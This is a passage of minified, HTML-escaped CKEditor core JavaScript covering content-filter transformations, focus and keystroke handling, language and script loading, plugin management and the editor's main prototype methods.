delete this._;delete this.allowedContent;delete this.disallowedContent}};var P={styles:1,attributes:1,classes:1},O={styles:&quot;requiredStyles&quot;,attributes:&quot;requiredAttributes&quot;,classes:&quot;requiredClasses&quot;},l=/^([a-z0-9\-*\s]+)((?:\s*\{[!\w\-,\s\*]+\}\s*|\s*\[[!\w\-,\s\*]+\]\s*|\s*\([!\w\-,\s\*]+\)\s*){0,3})(?:;\s*|$)/i,K={styles:/{([^}]+)}/,attrs:/\[([^\]]+)\]/,classes:/\(([^\)]+)\)/},B=/^cke:(object|embed|param)$/,A=/^(object|embed|param)$/,J;J=CKEDITOR.filter.transformationsTools={sizeToStyle:function(a){this.lengthToStyle(a,
&quot;width&quot;);this.lengthToStyle(a,&quot;height&quot;)},sizeToAttribute:function(a){this.lengthToAttribute(a,&quot;width&quot;);this.lengthToAttribute(a,&quot;height&quot;)},lengthToStyle:function(a,b,c){c=c||b;if(!(c in a.styles)){var d=a.attributes[b];d&amp;&amp;(/^\d+$/.test(d)&amp;&amp;(d+=&quot;px&quot;),a.styles[c]=d)}delete a.attributes[b]},lengthToAttribute:function(a,b,c){c=c||b;if(!(c in a.attributes)){var d=a.styles[b],f=d&amp;&amp;d.match(/^(\d+)(?:\.\d*)?px$/);f?a.attributes[c]=f[1]:&quot;cke-test&quot;==d&amp;&amp;(a.attributes[c]=&quot;cke-test&quot;)}delete a.styles[b]},alignmentToStyle:function(a){if(!(&quot;float&quot;in
a.styles)){var b=a.attributes.align;if(&quot;left&quot;==b||&quot;right&quot;==b)a.styles[&quot;float&quot;]=b}delete a.attributes.align},alignmentToAttribute:function(a){if(!(&quot;align&quot;in a.attributes)){var b=a.styles[&quot;float&quot;];if(&quot;left&quot;==b||&quot;right&quot;==b)a.attributes.align=b}delete a.styles[&quot;float&quot;]},splitBorderShorthand:function(a){if(a.styles.border){var b=CKEDITOR.tools.style.parse.border(a.styles.border);b.color&amp;&amp;(a.styles[&quot;border-color&quot;]=b.color);b.style&amp;&amp;(a.styles[&quot;border-style&quot;]=b.style);b.width&amp;&amp;(a.styles[&quot;border-width&quot;]=b.width);
delete a.styles.border}},listTypeToStyle:function(a){if(a.attributes.type)switch(a.attributes.type){case &quot;a&quot;:a.styles[&quot;list-style-type&quot;]=&quot;lower-alpha&quot;;break;case &quot;A&quot;:a.styles[&quot;list-style-type&quot;]=&quot;upper-alpha&quot;;break;case &quot;i&quot;:a.styles[&quot;list-style-type&quot;]=&quot;lower-roman&quot;;break;case &quot;I&quot;:a.styles[&quot;list-style-type&quot;]=&quot;upper-roman&quot;;break;case &quot;1&quot;:a.styles[&quot;list-style-type&quot;]=&quot;decimal&quot;;break;default:a.styles[&quot;list-style-type&quot;]=a.attributes.type}},splitMarginShorthand:function(a){function b(d){a.styles[&quot;margin-top&quot;]=
c[d[0]];a.styles[&quot;margin-right&quot;]=c[d[1]];a.styles[&quot;margin-bottom&quot;]=c[d[2]];a.styles[&quot;margin-left&quot;]=c[d[3]]}if(a.styles.margin){var c=a.styles.margin.match(/(\-?[\.\d]+\w+)/g)||[&quot;0px&quot;];switch(c.length){case 1:b([0,0,0,0]);break;case 2:b([0,1,0,1]);break;case 3:b([0,1,2,1]);break;case 4:b([0,1,2,3])}delete a.styles.margin}},matchesStyle:C,transform:function(a,b){if(&quot;string&quot;==typeof b)a.name=b;else{var c=b.getDefinition(),d=c.styles,f=c.attributes,e,l,n,g;a.name=c.element;for(e in f)if(&quot;class&quot;==e)for(c=
a.classes.join(&quot;|&quot;),n=f[e].split(/\s+/);g=n.pop();)-1==c.indexOf(g)&amp;&amp;a.classes.push(g);else a.attributes[e]=f[e];for(l in d)a.styles[l]=d[l]}}}})();
(function(){CKEDITOR.focusManager=function(a){if(a.focusManager)return a.focusManager;this.hasFocus=!1;this.currentActive=null;this._={editor:a};return this};CKEDITOR.focusManager._={blurDelay:200};CKEDITOR.focusManager.prototype={focus:function(a){this._.timer&amp;&amp;clearTimeout(this._.timer);a&amp;&amp;(this.currentActive=a);this.hasFocus||this._.locked||((a=CKEDITOR.currentInstance)&amp;&amp;a.focusManager.blur(1),this.hasFocus=!0,(a=this._.editor.container)&amp;&amp;a.addClass(&quot;cke_focus&quot;),this._.editor.fire(&quot;focus&quot;))},lock:function(){this._.locked=
1},unlock:function(){delete this._.locked},blur:function(a){function d(){if(this.hasFocus){this.hasFocus=!1;var a=this._.editor.container;a&amp;&amp;a.removeClass(&quot;cke_focus&quot;);this._.editor.fire(&quot;blur&quot;)}}if(!this._.locked){this._.timer&amp;&amp;clearTimeout(this._.timer);var b=CKEDITOR.focusManager._.blurDelay;a||!b?d.call(this):this._.timer=CKEDITOR.tools.setTimeout(function(){delete this._.timer;d.call(this)},b,this)}},add:function(a,d){var b=a.getCustomData(&quot;focusmanager&quot;);if(!b||b!=this){b&amp;&amp;b.remove(a);var b=
&quot;focus&quot;,c=&quot;blur&quot;;d&amp;&amp;(CKEDITOR.env.ie?(b=&quot;focusin&quot;,c=&quot;focusout&quot;):CKEDITOR.event.useCapture=1);var f={blur:function(){a.equals(this.currentActive)&amp;&amp;this.blur()},focus:function(){this.focus(a)}};a.on(b,f.focus,this);a.on(c,f.blur,this);d&amp;&amp;(CKEDITOR.event.useCapture=0);a.setCustomData(&quot;focusmanager&quot;,this);a.setCustomData(&quot;focusmanager_handlers&quot;,f)}},remove:function(a){a.removeCustomData(&quot;focusmanager&quot;);var d=a.removeCustomData(&quot;focusmanager_handlers&quot;);a.removeListener(&quot;blur&quot;,d.blur);a.removeListener(&quot;focus&quot;,
d.focus)}}})();CKEDITOR.keystrokeHandler=function(a){if(a.keystrokeHandler)return a.keystrokeHandler;this.keystrokes={};this.blockedKeystrokes={};this._={editor:a};return this};
(function(){var a,d=function(b){b=b.data;var d=b.getKeystroke(),g=this.keystrokes[d],k=this._.editor;a=!1===k.fire(&quot;key&quot;,{keyCode:d,domEvent:b});a||(g&amp;&amp;(a=!1!==k.execCommand(g,{from:&quot;keystrokeHandler&quot;})),a||(a=!!this.blockedKeystrokes[d]));a&amp;&amp;b.preventDefault(!0);return!a},b=function(b){a&amp;&amp;(a=!1,b.data.preventDefault(!0))};CKEDITOR.keystrokeHandler.prototype={attach:function(a){a.on(&quot;keydown&quot;,d,this);if(CKEDITOR.env.gecko&amp;&amp;CKEDITOR.env.mac)a.on(&quot;keypress&quot;,b,this)}}})();
(function(){CKEDITOR.lang={languages:{af:1,ar:1,az:1,bg:1,bn:1,bs:1,ca:1,cs:1,cy:1,da:1,de:1,&quot;de-ch&quot;:1,el:1,&quot;en-au&quot;:1,&quot;en-ca&quot;:1,&quot;en-gb&quot;:1,en:1,eo:1,es:1,&quot;es-mx&quot;:1,et:1,eu:1,fa:1,fi:1,fo:1,&quot;fr-ca&quot;:1,fr:1,gl:1,gu:1,he:1,hi:1,hr:1,hu:1,id:1,is:1,it:1,ja:1,ka:1,km:1,ko:1,ku:1,lt:1,lv:1,mk:1,mn:1,ms:1,nb:1,nl:1,no:1,oc:1,pl:1,&quot;pt-br&quot;:1,pt:1,ro:1,ru:1,si:1,sk:1,sl:1,sq:1,&quot;sr-latn&quot;:1,sr:1,sv:1,th:1,tr:1,tt:1,ug:1,uk:1,vi:1,&quot;zh-cn&quot;:1,zh:1},rtl:{ar:1,fa:1,he:1,ku:1,ug:1},load:function(a,d,b){a&amp;&amp;CKEDITOR.lang.languages[a]||
(a=this.detect(d,a));var c=this;d=function(){c[a].dir=c.rtl[a]?&quot;rtl&quot;:&quot;ltr&quot;;b(a,c[a])};this[a]?d():CKEDITOR.scriptLoader.load(CKEDITOR.getUrl(&quot;lang/&quot;+a+&quot;.js&quot;),d,this)},detect:function(a,d){var b=this.languages;d=d||navigator.userLanguage||navigator.language||a;var c=d.toLowerCase().match(/([a-z]+)(?:-([a-z]+))?/),f=c[1],c=c[2];b[f+&quot;-&quot;+c]?f=f+&quot;-&quot;+c:b[f]||(f=null);CKEDITOR.lang.detect=f?function(){return f}:function(a){return a};return f||a}}})();
CKEDITOR.scriptLoader=function(){var a={},d={};return{load:function(b,c,f,g){var k=&quot;string&quot;==typeof b;k&amp;&amp;(b=[b]);f||(f=CKEDITOR);var h=b.length,p=[],q=[],e=function(a){c&amp;&amp;(k?c.call(f,a):c.call(f,p,q))};if(0===h)e(!0);else{var x=function(a,b){(b?p:q).push(a);0&gt;=--h&amp;&amp;(g&amp;&amp;CKEDITOR.document.getDocumentElement().removeStyle(&quot;cursor&quot;),e(b))},w=function(b,c){a[b]=1;var f=d[b];delete d[b];for(var e=0;e&lt;f.length;e++)f[e](b,c)},z=function(b){if(a[b])x(b,!0);else{var f=d[b]||(d[b]=[]);f.push(x);if(!(1&lt;f.length)){var e=
new CKEDITOR.dom.element(&quot;script&quot;);e.setAttributes({type:&quot;text/javascript&quot;,src:b});c&amp;&amp;(CKEDITOR.env.ie&amp;&amp;(8&gt;=CKEDITOR.env.version||CKEDITOR.env.ie9Compat)?e.$.onreadystatechange=function(){if(&quot;loaded&quot;==e.$.readyState||&quot;complete&quot;==e.$.readyState)e.$.onreadystatechange=null,w(b,!0)}:(e.$.onload=function(){setTimeout(function(){w(b,!0)},0)},e.$.onerror=function(){w(b,!1)}));e.appendTo(CKEDITOR.document.getHead())}}};g&amp;&amp;CKEDITOR.document.getDocumentElement().setStyle(&quot;cursor&quot;,&quot;wait&quot;);for(var F=0;F&lt;h;F++)z(b[F])}},
queue:function(){function a(){var b;(b=c[0])&amp;&amp;this.load(b.scriptUrl,b.callback,CKEDITOR,0)}var c=[];return function(d,g){var k=this;c.push({scriptUrl:d,callback:function(){g&amp;&amp;g.apply(this,arguments);c.shift();a.call(k)}});1==c.length&amp;&amp;a.call(this)}}()}}();CKEDITOR.resourceManager=function(a,d){this.basePath=a;this.fileName=d;this.registered={};this.loaded={};this.externals={};this._={waitingList:{}}};
CKEDITOR.resourceManager.prototype={add:function(a,d){if(this.registered[a])throw Error(&#039;[CKEDITOR.resourceManager.add] The resource name &quot;&#039;+a+&#039;&quot; is already registered.&#039;);var b=this.registered[a]=d||{};b.name=a;b.path=this.getPath(a);CKEDITOR.fire(a+CKEDITOR.tools.capitalize(this.fileName)+&quot;Ready&quot;,b);return this.get(a)},get:function(a){return this.registered[a]||null},getPath:function(a){var d=this.externals[a];return CKEDITOR.getUrl(d&amp;&amp;d.dir||this.basePath+a+&quot;/&quot;)},getFilePath:function(a){var d=this.externals[a];
return CKEDITOR.getUrl(this.getPath(a)+(d?d.file:this.fileName+&quot;.js&quot;))},addExternal:function(a,d,b){a=a.split(&quot;,&quot;);for(var c=0;c&lt;a.length;c++){var f=a[c];b||(d=d.replace(/[^\/]+$/,function(a){b=a;return&quot;&quot;}));this.externals[f]={dir:d,file:b||this.fileName+&quot;.js&quot;}}},load:function(a,d,b){CKEDITOR.tools.isArray(a)||(a=a?[a]:[]);for(var c=this.loaded,f=this.registered,g=[],k={},h={},p=0;p&lt;a.length;p++){var q=a[p];if(q)if(c[q]||f[q])h[q]=this.get(q);else{var e=this.getFilePath(q);g.push(e);e in k||(k[e]=
[]);k[e].push(q)}}CKEDITOR.scriptLoader.load(g,function(a,e){if(e.length)throw Error(&#039;[CKEDITOR.resourceManager.load] Resource name &quot;&#039;+k[e[0]].join(&quot;,&quot;)+&#039;&quot; was not found at &quot;&#039;+e[0]+&#039;&quot;.&#039;);for(var f=0;f&lt;a.length;f++)for(var g=k[a[f]],p=0;p&lt;g.length;p++){var m=g[p];h[m]=this.get(m);c[m]=1}d.call(b,h)},this)}};CKEDITOR.plugins=new CKEDITOR.resourceManager(&quot;plugins/&quot;,&quot;plugin&quot;);
CKEDITOR.plugins.load=CKEDITOR.tools.override(CKEDITOR.plugins.load,function(a){var d={};return function(b,c,f){var g={},k=function(b){a.call(this,b,function(a){CKEDITOR.tools.extend(g,a);var b=[],e;for(e in a){var h=a[e],w=h&amp;&amp;h.requires;if(!d[e]){if(h.icons)for(var z=h.icons.split(&quot;,&quot;),F=z.length;F--;)CKEDITOR.skin.addIcon(z[F],h.path+&quot;icons/&quot;+(CKEDITOR.env.hidpi&amp;&amp;h.hidpi?&quot;hidpi/&quot;:&quot;&quot;)+z[F]+&quot;.png&quot;);d[e]=1}if(w)for(w.split&amp;&amp;(w=w.split(&quot;,&quot;)),h=0;h&lt;w.length;h++)g[w[h]]||b.push(w[h])}if(b.length)k.call(this,
b);else{for(e in g)h=g[e],h.onLoad&amp;&amp;!h.onLoad._called&amp;&amp;(!1===h.onLoad()&amp;&amp;delete g[e],h.onLoad._called=1);c&amp;&amp;c.call(f||window,g)}},this)};k.call(this,b)}});CKEDITOR.plugins.setLang=function(a,d,b){var c=this.get(a);a=c.langEntries||(c.langEntries={});c=c.lang||(c.lang=[]);c.split&amp;&amp;(c=c.split(&quot;,&quot;));-1==CKEDITOR.tools.indexOf(c,d)&amp;&amp;c.push(d);a[d]=b};CKEDITOR.ui=function(a){if(a.ui)return a.ui;this.items={};this.instances={};this.editor=a;this._={handlers:{}};return this};
CKEDITOR.ui.prototype={add:function(a,d,b){b.name=a.toLowerCase();var c=this.items[a]={type:d,command:b.command||null,args:Array.prototype.slice.call(arguments,2)};CKEDITOR.tools.extend(c,b)},get:function(a){return this.instances[a]},create:function(a){var d=this.items[a],b=d&amp;&amp;this._.handlers[d.type],c=d&amp;&amp;d.command&amp;&amp;this.editor.getCommand(d.command),b=b&amp;&amp;b.create.apply(this,d.args);this.instances[a]=b;c&amp;&amp;c.uiItems.push(b);b&amp;&amp;!b.type&amp;&amp;(b.type=d.type);return b},addHandler:function(a,d){this._.handlers[a]=
d},space:function(a){return CKEDITOR.document.getById(this.spaceId(a))},spaceId:function(a){return this.editor.id+&quot;_&quot;+a}};CKEDITOR.event.implementOn(CKEDITOR.ui);
(function(){function a(a,e,f){CKEDITOR.event.call(this);a=a&amp;&amp;CKEDITOR.tools.clone(a);if(void 0!==e){if(!(e instanceof CKEDITOR.dom.element))throw Error(&quot;Expect element of type CKEDITOR.dom.element.&quot;);if(!f)throw Error(&quot;One of the element modes must be specified.&quot;);if(CKEDITOR.env.ie&amp;&amp;CKEDITOR.env.quirks&amp;&amp;f==CKEDITOR.ELEMENT_MODE_INLINE)throw Error(&quot;Inline element mode is not supported on IE quirks.&quot;);if(!b(e,f))throw Error(&#039;The specified element mode is not supported on element: &quot;&#039;+e.getName()+&#039;&quot;.&#039;);
this.element=e;this.elementMode=f;this.name=this.elementMode!=CKEDITOR.ELEMENT_MODE_APPENDTO&amp;&amp;(e.getId()||e.getNameAtt())}else this.elementMode=CKEDITOR.ELEMENT_MODE_NONE;this._={};this.commands={};this.templates={};this.name=this.name||d();this.id=CKEDITOR.tools.getNextId();this.status=&quot;unloaded&quot;;this.config=CKEDITOR.tools.prototypedCopy(CKEDITOR.config);this.ui=new CKEDITOR.ui(this);this.focusManager=new CKEDITOR.focusManager(this);this.keystrokeHandler=new CKEDITOR.keystrokeHandler(this);this.on(&quot;readOnly&quot;,
c);this.on(&quot;selectionChange&quot;,function(a){g(this,a.data.path)});this.on(&quot;activeFilterChange&quot;,function(){g(this,this.elementPath(),!0)});this.on(&quot;mode&quot;,c);this.on(&quot;instanceReady&quot;,function(){if(this.config.startupFocus){if(&quot;end&quot;===this.config.startupFocus){var a=this.createRange();a.selectNodeContents(this.editable());a.shrink(CKEDITOR.SHRINK_ELEMENT,!0);a.collapse();this.getSelection().selectRanges([a])}this.focus()}});CKEDITOR.fire(&quot;instanceCreated&quot;,null,this);CKEDITOR.add(this);CKEDITOR.tools.setTimeout(function(){&quot;destroyed&quot;!==
this.status?h(this,a):CKEDITOR.warn(&quot;editor-incorrect-destroy&quot;)},0,this)}function d(){do var a=&quot;editor&quot;+ ++F;while(CKEDITOR.instances[a]);return a}function b(a,b){return b==CKEDITOR.ELEMENT_MODE_INLINE?a.is(CKEDITOR.dtd.$editable)||a.is(&quot;textarea&quot;):b==CKEDITOR.ELEMENT_MODE_REPLACE?!a.is(CKEDITOR.dtd.$nonBodyContent):1}function c(){var a=this.commands,b;for(b in a)f(this,a[b])}function f(a,b){b[b.startDisabled?&quot;disable&quot;:a.readOnly&amp;&amp;!b.readOnly?&quot;disable&quot;:b.modes[a.mode]?&quot;enable&quot;:&quot;disable&quot;]()}function g(a,
b,c){if(b){var d,e,f=a.commands;for(e in f)d=f[e],(c||d.contextSensitive)&amp;&amp;d.refresh(a,b)}}function k(a){var b=a.config.customConfig;if(!b)return!1;var b=CKEDITOR.getUrl(b),c=v[b]||(v[b]={});c.fn?(c.fn.call(a,a.config),CKEDITOR.getUrl(a.config.customConfig)!=b&amp;&amp;k(a)||a.fireOnce(&quot;customConfigLoaded&quot;)):CKEDITOR.scriptLoader.queue(b,function(){c.fn=CKEDITOR.editorConfig?CKEDITOR.editorConfig:function(){};k(a)});return!0}function h(a,b){a.on(&quot;customConfigLoaded&quot;,function(){if(b){if(b.on)for(var c in b.on)a.on(c,
b.on[c]);CKEDITOR.tools.extend(a.config,b,!0);delete a.config.on}c=a.config;a.readOnly=c.readOnly?!0:a.elementMode==CKEDITOR.ELEMENT_MODE_INLINE?a.element.is(&quot;textarea&quot;)?a.element.hasAttribute(&quot;disabled&quot;)||a.element.hasAttribute(&quot;readonly&quot;):a.element.isReadOnly():a.elementMode==CKEDITOR.ELEMENT_MODE_REPLACE?a.element.hasAttribute(&quot;disabled&quot;)||a.element.hasAttribute(&quot;readonly&quot;):!1;a.blockless=a.elementMode==CKEDITOR.ELEMENT_MODE_INLINE?!(a.element.is(&quot;textarea&quot;)||CKEDITOR.dtd[a.element.getName()].p):
!1;a.tabIndex=c.tabIndex||a.element&amp;&amp;a.element.getAttribute(&quot;tabindex&quot;)||0;a.activeEnterMode=a.enterMode=a.blockless?CKEDITOR.ENTER_BR:c.enterMode;a.activeShiftEnterMode=a.shiftEnterMode=a.blockless?CKEDITOR.ENTER_BR:c.shiftEnterMode;c.skin&amp;&amp;(CKEDITOR.skinName=c.skin);a.fireOnce(&quot;configLoaded&quot;);a.dataProcessor=new CKEDITOR.htmlDataProcessor(a);a.filter=a.activeFilter=new CKEDITOR.filter(a);p(a)});b&amp;&amp;null!=b.customConfig&amp;&amp;(a.config.customConfig=b.customConfig);k(a)||a.fireOnce(&quot;customConfigLoaded&quot;)}
function p(a){CKEDITOR.skin.loadPart(&quot;editor&quot;,function(){q(a)})}function q(a){CKEDITOR.lang.load(a.config.language,a.config.defaultLanguage,function(b,c){var d=a.config.title;a.langCode=b;a.lang=CKEDITOR.tools.prototypedCopy(c);a.title=&quot;string&quot;==typeof d||!1===d?d:[a.lang.editor,a.name].join(&quot;, &quot;);a.config.contentsLangDirection||(a.config.contentsLangDirection=a.elementMode==CKEDITOR.ELEMENT_MODE_INLINE?a.element.getDirection(1):a.lang.dir);a.fire(&quot;langLoaded&quot;);e(a)})}function e(a){a.getStylesSet(function(b){a.once(&quot;loaded&quot;,
function(){a.fire(&quot;stylesSet&quot;,{styles:b})},null,null,1);x(a)})}function x(a){function b(a){if(!a)return&quot;&quot;;CKEDITOR.tools.isArray(a)&amp;&amp;(a=a.join(&quot;,&quot;));return a.replace(/\s/g,&quot;&quot;)}var c=a.config,d=b(c.plugins),e=b(c.extraPlugins),f=b(c.removePlugins);if(e)var g=new RegExp(&quot;(?:^|,)(?:&quot;+e.replace(/,/g,&quot;|&quot;)+&quot;)(?\x3d,|$)&quot;,&quot;g&quot;),d=d.replace(g,&quot;&quot;),d=d+(&quot;,&quot;+e);if(f)var k=new RegExp(&quot;(?:^|,)(?:&quot;+f.replace(/,/g,&quot;|&quot;)+&quot;)(?\x3d,|$)&quot;,&quot;g&quot;),d=d.replace(k,&quot;&quot;);CKEDITOR.env.air&amp;&amp;(d+=&quot;,adobeair&quot;);CKEDITOR.plugins.load(d.split(&quot;,&quot;),
function(b){var d=[],e=[],f=[];a.plugins=CKEDITOR.tools.extend({},a.plugins,b);for(var n in b){var g=b[n],r=g.lang,h=null,l=g.requires,C;CKEDITOR.tools.isArray(l)&amp;&amp;(l=l.join(&quot;,&quot;));if(l&amp;&amp;(C=l.match(k)))for(;l=C.pop();)CKEDITOR.error(&quot;editor-plugin-required&quot;,{plugin:l.replace(&quot;,&quot;,&quot;&quot;),requiredBy:n});r&amp;&amp;!a.lang[n]&amp;&amp;(r.split&amp;&amp;(r=r.split(&quot;,&quot;)),0&lt;=CKEDITOR.tools.indexOf(r,a.langCode)?h=a.langCode:(h=a.langCode.replace(/-.*/,&quot;&quot;),h=h!=a.langCode&amp;&amp;0&lt;=CKEDITOR.tools.indexOf(r,h)?h:0&lt;=CKEDITOR.tools.indexOf(r,
&quot;en&quot;)?&quot;en&quot;:r[0]),g.langEntries&amp;&amp;g.langEntries[h]?(a.lang[n]=g.langEntries[h],h=null):f.push(CKEDITOR.getUrl(g.path+&quot;lang/&quot;+h+&quot;.js&quot;)));e.push(h);d.push(g)}CKEDITOR.scriptLoader.load(f,function(){for(var b=[&quot;beforeInit&quot;,&quot;init&quot;,&quot;afterInit&quot;],f=0;f&lt;b.length;f++)for(var l=0;l&lt;d.length;l++){var n=d[l];0===f&amp;&amp;e[l]&amp;&amp;n.lang&amp;&amp;n.langEntries&amp;&amp;(a.lang[n.name]=n.langEntries[e[l]]);if(n[b[f]])n[b[f]](a)}a.fireOnce(&quot;pluginsLoaded&quot;);c.keystrokes&amp;&amp;a.setKeystroke(a.config.keystrokes);for(l=0;l&lt;a.config.blockedKeystrokes.length;l++)a.keystrokeHandler.blockedKeystrokes[a.config.blockedKeystrokes[l]]=
1;a.status=&quot;loaded&quot;;a.fireOnce(&quot;loaded&quot;);CKEDITOR.fire(&quot;instanceLoaded&quot;,null,a)})})}function w(){var a=this.element;if(a&amp;&amp;this.elementMode!=CKEDITOR.ELEMENT_MODE_APPENDTO){var b=this.getData();this.config.htmlEncodeOutput&amp;&amp;(b=CKEDITOR.tools.htmlEncode(b));a.is(&quot;textarea&quot;)?a.setValue(b):a.setHtml(b);return!0}return!1}function z(a,b){function c(a){var b=a.startContainer,d=a.endContainer;return b.is&amp;&amp;(b.is(&quot;tr&quot;)||b.is(&quot;td&quot;)&amp;&amp;b.equals(d)&amp;&amp;a.endOffset===b.getChildCount())?!0:!1}function d(a){var b=a.startContainer;
return b.is(&quot;tr&quot;)?a.cloneContents():b.clone(!0)}for(var e=new CKEDITOR.dom.documentFragment,f,g,k,h=0;h&lt;a.length;h++){var N=a[h],t=N.startContainer.getAscendant(&quot;tr&quot;,!0);c(N)?(f||(f=t.getAscendant(&quot;table&quot;).clone(),f.append(t.getAscendant({thead:1,tbody:1,tfoot:1}).clone()),e.append(f),f=f.findOne(&quot;thead, tbody, tfoot&quot;)),g&amp;&amp;g.equals(t)||(g=t,k=t.clone(),f.append(k)),k.append(d(N))):e.append(N.cloneContents())}return f?e:b.getHtmlFromRange(a[0])}a.prototype=CKEDITOR.editor.prototype;CKEDITOR.editor=
a;var F=0,v={};CKEDITOR.tools.extend(CKEDITOR.editor.prototype,{plugins:{detectConflict:function(a,b){for(var c=0;c&lt;b.length;c++){var d=b[c];if(this[d])return CKEDITOR.warn(&quot;editor-plugin-conflict&quot;,{plugin:a,replacedWith:d}),!0}return!1}},addCommand:function(a,b){b.name=a.toLowerCase();var c=b instanceof CKEDITOR.command?b:new CKEDITOR.command(this,b);this.mode&amp;&amp;f(this,c);return this.commands[a]=c},_attachToForm:function(){function a(b){c.updateElement();c._.required&amp;&amp;!d.getValue()&amp;&amp;!1===c.fire(&quot;required&quot;)&amp;&amp;
b.data.preventDefault()}function b(a){return!!(a&amp;&amp;a.call&amp;&amp;a.apply)}var c=this,d=c.element,f=new CKEDITOR.dom.element(d.$.form);d.is(&quot;textarea&quot;)&amp;&amp;f&amp;&amp;(f.on(&quot;submit&quot;,a),b(f.$.submit)&amp;&amp;(f.$.submit=CKEDITOR.tools.override(f.$.submit,function(b){return function(){a();b.apply?b.apply(this):b()}})),c.on(&quot;destroy&quot;,function(){f.removeListener(&quot;submit&quot;,a)}))},destroy:function(a){var b=CKEDITOR.filter.instances,c=this;this.fire(&quot;beforeDestroy&quot;);!a&amp;&amp;w.call(this);this.editable(null);this.filter&amp;&amp;delete this.filter;
CKEDITOR.tools.array.forEach(CKEDITOR.tools.objectKeys(b),function(a){a=b[a];c===a.editor&amp;&amp;a.destroy()});delete this.activeFilter;this.status=&quot;destroyed&quot;;this.fire(&quot;destroy&quot;);this.removeAllListeners();CKEDITOR.remove(this);CKEDITOR.fire(&quot;instanceDestroyed&quot;,null,this)},elementPath:function(a){if(!a){a=this.getSelection();if(!a)return null;a=a.getStartElement()}return a?new CKEDITOR.dom.elementPath(a,this.editable()):null},createRange:function(){var a=this.editable();return a?new CKEDITOR.dom.range(a):
null},execCommand:function(a,b){var c=this.getCommand(a),d={name:a,commandData:b||{},command:c};return c&amp;&amp;c.state!=CKEDITOR.TRISTATE_DISABLED&amp;&amp;!1!==this.fire(&quot;beforeCommandExec&quot;,d)&amp;&amp;(d.returnValue=c.exec(d.commandData),!c.async&amp;&amp;!1!==this.fire(&quot;afterCommandExec&quot;,d))?d.returnValue:!1},getCommand:function(a){return this.commands[a]},getData:function(a){!a&amp;&amp;this.fire(&quot;beforeGetData&quot;);var b=this._.data;&quot;string&quot;!=typeof b&amp;&amp;(b=(b=this.element)&amp;&amp;this.elementMode==CKEDITOR.ELEMENT_MODE_REPLACE?b.is(&quot;textarea&quot;)?
b.getValue():b.getHtml():&quot;&quot;);b={dataValue:b};!a&amp;&amp;this.fire(&quot;getData&quot;,b);return b.dataValue},getSnapshot:function(){var a=this.fire(&quot;getSnapshot&quot;);&quot;string&quot;!=typeof a&amp;&amp;(a=(a=this.element)&amp;&amp;this.elementMode==CKEDITOR.ELEMENT_MODE_REPLACE?a.is(&quot;textarea&quot;)?a.getValue():a.getHtml():&quot;&quot;);return a},loadSnapshot:function(a){this.fire(&quot;loadSnapshot&quot;,a)},setData:function(a,b,c){var d=!0,f=b;b&amp;&amp;&quot;object&quot;==typeof b&amp;&amp;(c=b.internal,f=b.callback,d=!b.noSnapshot);!c&amp;&amp;d&amp;&amp;this.fire(&quot;saveSnapshot&quot;);if(f||!c)this.once(&quot;dataReady&quot;,
function(a){!c&amp;&amp;d&amp;&amp;this.fire(&quot;saveSnapshot&quot;);f&amp;&amp;f.call(a.editor)});a={dataValue:a};!c&amp;&amp;this.fire(&quot;setData&quot;,a);this._.data=a.dataValue;!c&amp;&amp;this.fire(&quot;afterSetData&quot;,a)},setReadOnly:function(a){a=null==a||a;this.readOnly!=a&amp;&amp;(this.readOnly=a,this.keystrokeHandler.blockedKeystrokes[8]=+a,this.editable().setReadOnly(a),this.fire(&quot;readOnly&quot;))},insertHtml:function(a,b,c){this.fire(&quot;insertHtml&quot;,{dataValue:a,mode:b,range:c})},insertText:function(a){this.fire(&quot;insertText&quot;,a)},insertElement:function(a){this.fire(&quot;insertElement&quot;,
a)},getSelectedHtml:function(a){var b=this.editable(),c=this.getSelection(),c=c&amp;&amp;c.getRanges();if(!b||!c||0===c.length)return null;b=z(c,b);return a?b.getHtml():b},extractSelectedHtml:function(a,b){var c=this.editable(),d=this.getSelection().getRanges(),f=new CKEDITOR.dom.documentFragment,e;if(!c||0===d.length)return null;for(e=0;e&lt;d.length;e++)f.append(c.extractHtmlFromRange(d[e],b));b||this.getSelection().selectRanges([d[0]]);return a?f.getHtml():f},focus:function(){this.fire(&quot;beforeFocus&quot;)},checkDirty:function(){return&quot;ready&quot;==
this.status&amp;&amp;this._.previousValue!==this.getSnapshot()},resetDirty:function(){this._.previousValue=this.getSnapshot()},updateElement:function(){return w.call(this)},setKeystroke:function(){for(var a=this.keystrokeHandler.keystrokes,b=CKEDITOR.tools.isArray(arguments[0])?arguments[0]:[[].slice.call(arguments,0)],c,d,f=b.length;f--;)c=b[f],d=0,CKEDITOR.tools.isArray(c)&amp;&amp;(d=c[1],c=c[0]),d?a[c]=d:delete a[c]},getCommandKeystroke:function(a,b){var c=&quot;string&quot;===typeof a?this.getCommand(a):a,d=[];if(c){var f=
CKEDITOR.tools.object.findKey(this.commands,c),e=this.keystrokeHandler.keystrokes;if(c.fakeKeystroke)d.push(c.fakeKeystroke);else for(var g in e)e[g]===f&amp;&amp;d.push(g)}return b?d:d[0]||null},addFeature:function(a){return this.filter.addFeature(a)},setActiveFilter:function(a){a||(a=this.filter);this.activeFilter!==a&amp;&amp;(this.activeFilter=a,this.fire(&quot;activeFilterChange&quot;),a===this.filter?this.setActiveEnterMode(null,null):this.setActiveEnterMode(a.getAllowedEnterMode(this.enterMode),a.getAllowedEnterMode(this.shiftEnterMode,
!0)))},setActiveEnterMode:function(a,b){a=a?this.blockless?CKEDITOR.ENTER_BR:a:this.enterMode;b=b?this.blockless?CKEDITOR.ENTER_BR:b:this.shiftEnterMode;if(this.activeEnterMode!=a||this.activeShiftEnterMode!=b)this.activeEnterMode=a,this.activeShiftEnterMode=b,this.fire(&quot;activeEnterModeChange&quot;)},showNotification:function(a){alert(a)}})})();CKEDITOR.ELEMENT_MODE_NONE=0;CKEDITOR.ELEMENT_MODE_REPLACE=1;CKEDITOR.ELEMENT_MODE_APPENDTO=2;CKEDITOR.ELEMENT_MODE_INLINE=3;
CKEDITOR.htmlParser=function(){this._={htmlPartsRegex:/&lt;(?:(?:\/([^&gt;]+)&gt;)|(?:!--([\S|\s]*?)--\x3e)|(?:([^\/\s&gt;]+)((?:\s+[\w\-:.]+(?:\s*=\s*?(?:(?:&quot;[^&quot;]*&quot;)|(?:&#039;[^&#039;]*&#039;)|[^\s&quot;&#039;\/&gt;]+))?)*)[\S\s]*?(\/?)&gt;))/g}};
